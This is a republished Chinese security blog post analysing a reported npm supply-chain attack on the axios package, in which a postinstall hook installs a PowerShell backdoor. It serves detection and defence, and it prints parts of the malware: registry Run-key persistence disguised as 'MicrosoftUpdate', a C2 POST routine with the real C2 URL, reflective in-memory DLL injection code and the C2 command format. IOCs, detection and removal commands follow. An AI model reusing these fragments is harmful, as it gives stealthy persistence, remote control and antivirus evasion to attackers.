AxiosNPM投毒攻击样本深度分析

admin 2026-04-02 04:20:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文对AxiosNPM投毒攻击样本进行了深度分析。攻击者通过在流行的axios库中植入恶意代码,利用npminstall时自动执行的postinstall钩子,在用户电脑上部署后门,实现持久化控制、信息收集和远程命令执行等功能。该攻击利用了开发者对开源生态的信任,具有隐蔽性强、危害严重的特点。文章详细解析了攻击链架构、核心模块功能,并提供了检测清除方法及防御建议。 综合评分: 90 文章分类: 供应链安全,恶意软件,漏洞分析,网络安全,安全运营


cover_image

Axios NPM投毒攻击样本深度分析

原创

秀逗猫 秀逗猫

秀逗猫

2026年3月31日 20:58 北京

unsetunset一、Axios 是什么?unsetunset

Axios 是 JavaScript 生态中最流行的 HTTP 客户端库之一,用于浏览器和 Node.js 环境。它以简洁的 API、Promise 支持、请求/响应拦截器等特性深受开发者喜爱。

const axios = require('axios');
const response = await axios.get('https://api.example.com/data');

📊 关键数据:

  • GitHub Stars: 超过 10 万
  • NPM 周下载量: 超过 4000 万次
  • 依赖项目: 数百万项目直接或间接依赖

正是这种极高的普及度,使 axios 成为供应链攻击的”理想”目标——攻击者只需污染这一个包,就能影响海量开发者。


unsetunset二、投毒事件背景unsetunset

近期,安全研究人员发现 axios npm 包遭到供应链攻击。攻击者通过以下方式实施投毒:

| 阶段 | 手段 | 说明 | | — | — | — | | 投放 | 发布恶意版本 | 攻击者向 npm 仓库上传被污染的 axios 版本 | | 触发 | postinstall 钩子 | 包安装时自动执行恶意代码,开发者无感知 | | 植入 | 写入后门 | 在用户电脑上植入持久化后门程序 | | 控制 | C2 通信 | 与远程服务器建立连接,等待指令 |

影响范围

  • 受害者: 任何执行 npm install axios 安装了被污染版本的开发者
  • 危害: 电脑被完全控制,可执行任意代码、窃取文件、注入恶意软件
  • 隐蔽性: 后门伪装成系统更新,重启后自动恢复,难以察觉

⚠️ 启示: 这次攻击再次警示我们——供应链安全是开发安全中最脆弱的一环。当你在 npm install 时,你信任的不仅是那个包,还有它所有的依赖以及它们的安装脚本。一次疏忽,就可能让你的开发环境成为攻击者的游乐场。


unsetunset三、样本分析对象unsetunset

本文基于 Windows 平台获取的两个恶意样本进行技术逆向分析,还原 axios NPM 供应链攻击的完整技术实现。

⚠️ 核心发现: 一次 npm install 即可完成从感染到持久化控制的全部过程,攻击者可获得目标机器的完全控制权限。

样本清单:

| 样本文件 | 类型 | 功能 | | — | — | — | | axios投毒样本.ps1 | PowerShell 脚本 | 后门主体,实现 C2 通信与远程控制 | | axios投毒样本system.bat | 批处理脚本 | 持久化入口,启动后门 |


unsetunset四、攻击链架构unsetunset

攻击分为两个阶段:初始感染持久化控制

初始感染阶段
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  npm install axios (被污染版本)
              │
              ▼
  postinstall hook → 执行恶意 PS1 脚本
              │
              ├─► [立即] 建立 C2 连接,上报系统信息
              │
              └─► [持久化] 创建 system.bat
                           注册启动项 MicrosoftUpdate
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              │
              ▼ 重启后触发
持久化控制阶段
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  system.bat → 从 C2 动态加载 PS1 代码
              │
              ▼
  每 60 秒心跳 ─► 等待 C2 指令
              │
              ├─► peinject  : 反射式 DLL 注入
              ├─► runscript : 执行任意脚本
              ├─► rundir    : 枚举文件系统
              └─► kill      : 终止并清除
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

unsetunset五、核心模块分析unsetunset

5.1 持久化模块

实现方式: 注册表 Run 键 + 隐藏文件

$regKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$regName = "MicrosoftUpdate"          # 伪装系统更新
$batFile = Join-Path $env:PROGRAMDATA "system.bat"

Set-Content -Path $batFile -Value $batCont
Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden
Set-ItemProperty -Path $regKey -Name $regName -Value $batFile

📌 技术特点:

  • 文件属性设为 Hidden,规避常规浏览
  • 伪装成 MicrosoftUpdate,降低用户警觉
  • 使用 %PROGRAMDATA% 系统目录,权限要求低

5.2 C2 通信模块

协议: HTTP POST + Base64 编码

function Get-Response {
    $wc = New-Object System.Net.WebClient
    $wc.Headers["User-Agent"] = "mozilla/4.0 (compatible; msie 8.0; ...)"
    $wc.Headers["Content-Type"] = "application/x-www-form-urlencoded"

    $base64Body = [Convert]::ToBase64String(...)
    $responseBytes = $wc.UploadData($url, "POST", ...)
}

通信特征:

| 项目 | 值 | | — | — | | C2 地址 | http://sfrclak.com:8000/6202033 | | User-Agent | IE8 伪装 | | 编码方式 | 双层 Base64 | | 心跳间隔 | 60 秒 |

5.3 反射式注入模块 (Do-Action-Ijt)

💡 核心技术: 内存加载 .NET Assembly,DLL 不落地,规避基于文件的杀毒检测。

function Do-Action-Ijt {
    # Base64 解码 DLL 和 Shellcode
    [byte[]]$rotjni = [Convert]::FromBase64String($ijtdll)
    [byte[]]$daolyap = [Convert]::FromBase64String($ijtbin)

    # 反射式加载(不写磁盘)
    $assem = [Reflection.Assembly]::Load([byte[]]$rotjni)
    $class = $assem.GetType("Extension.SubRoutine")
    $method = $class.GetMethod("Run2")

    # 执行注入到 cmd.exe
    $method.Invoke(0, @([byte[]]$daolyap, "cmd.exe", $param))
}

📌 技术特点:

  • DLL 不落地,直接内存加载
  • 可注入任意进程(默认 cmd.exe)
  • 规避基于文件的杀毒检测

5.4 脚本执行模块 (Do-Action-Scpt)

实现方式: 动态生成 + EncodedCommand

  • 小于 10KB:使用 -EncodedCommand 执行
  • 大于 10KB:写入临时文件执行后删除

unsetunset六、信息收集能力unsetunset

后门在首次连接 C2 时,会收集并上报大量系统信息:

| 类别 | 收集内容 | | — | — | | 用户身份 | 用户名、主机名 | | 系统指纹 | OS 版本、架构、CPU 型号、电脑型号、时区 | | 运行环境 | 所有进程列表(PID / 会话ID / 名称 / 路径) | | 文件系统 | Documents、Desktop、OneDrive、AppData、所有驱动器 |


unsetunset七、命令控制协议unsetunset

C2 指令格式:

{
    "type": "runscript|peinject|rundir|kill",
    "CmdID": "xxx",
    "Script": "base64_payload",
    "Param": "additional_params"
}

指令详情:

| type | 功能 | 危害等级 | | — | — | — | | peinject | 反射式 DLL 注入 | 严重 | | runscript | 执行任意 PowerShell 脚本 | 严重 | | rundir | 枚举文件系统 | 高 | | kill | 终止后门进程 | 低 |


unsetunset八、IOC 汇总unsetunset

🌐 网络指标

  • 域名: sfrclak.com
  • 端口: 8000
  • 路径: /6202033
  • 完整URL: http://sfrclak.com:8000/6202033
  • User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
  • POST Body: packages.npm.org/product1

💻 主机指标

  • 文件路径: C:\ProgramData\system.bat
  • 文件属性: Hidden(隐藏)
  • 注册表: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate

📊 行为指标

  • 隐藏窗口的 PowerShell 进程
  • 每 60 秒向外部 IP 发送 POST 请求
  • 读取敏感目录(Documents, Desktop, OneDrive)
  • 内存 Assembly 加载行为

unsetunset九、检测与清除unsetunset

检测命令

# 检查注册表启动项
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v MicrosoftUpdate

# 检查恶意文件(包含隐藏文件)
dir /a:h C:\ProgramData\system.bat

# 检查网络连接
netstat -ano | findstr :8000

清除步骤

# 1. 删除注册表项
Remove-ItemProperty -Path "HKCU\...\Run" -Name "MicrosoftUpdate"

# 2. 删除恶意文件
Remove-Item "C:\ProgramData\system.bat" -Force

# 3. 终止相关进程
# 需根据实际情况排查隐藏窗口的 powershell.exe

unsetunset十、防御建议unsetunset

| 层面 | 措施 | | — | — | | 开发 | • 锁定依赖版本,使用 package-lock.json • 定期运行 npm audit • 审查 postinstall 脚本 • 考虑私有 npm 仓库 | | 主机 | • 监控 Run 注册表变更 • 启用 PowerShell 脚本日志 • 监控 %PROGRAMDATA% 文件创建 | | 网络 | • 封禁 IOC 域名 • 检测异常 IE8 UA 流量 • 监控 Base64 编码的异常 POST |


unsetunset十一、总结unsetunset

本次分析基于 Windows 平台的恶意样本,揭示了一个完整的 NPM 供应链攻击实现:

  • 攻击载体: 通过被污染的 npm 包传播
  • 持久化: 伪装成系统更新,写入启动项
  • C2 通信: Base64 编码 + 伪装 User-Agent
  • 远程控制: 支持脚本执行、内存注入、文件枚举
  • 隐蔽性: 隐藏窗口、动态加载、无文件落地

⚠️ 警示: 供应链攻击利用了开发者对开源生态的信任。一行 npm install,就可能让你的电脑完全沦陷。axios 只是众多被盯上的包之一,下一个可能是任何你每天使用的包。



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:秀逗猫 秀逗猫 秀逗猫《Axios NPM投毒攻击样本深度分析》

玲珑安全第三期如约而至 网络安全文章

玲珑安全第三期如约而至

文章总结: 本文是玲珑安全第三期培训班的宣传内容。该团队旨在提供优质且价格实惠的漏洞挖掘培训课程,以帮助初学者少走弯路、提升技能水平。其讲师团队经验丰富,课程内
COM接口进程断链 网络安全文章

COM接口进程断链

文章总结: 本文介绍通过C#实现COM接口进程断链技术,演示利用ihxinteractiveuser接口执行本地文件的方法,并以此为核心内容推广免杀钓鱼培训课程
评论:0   参与:  0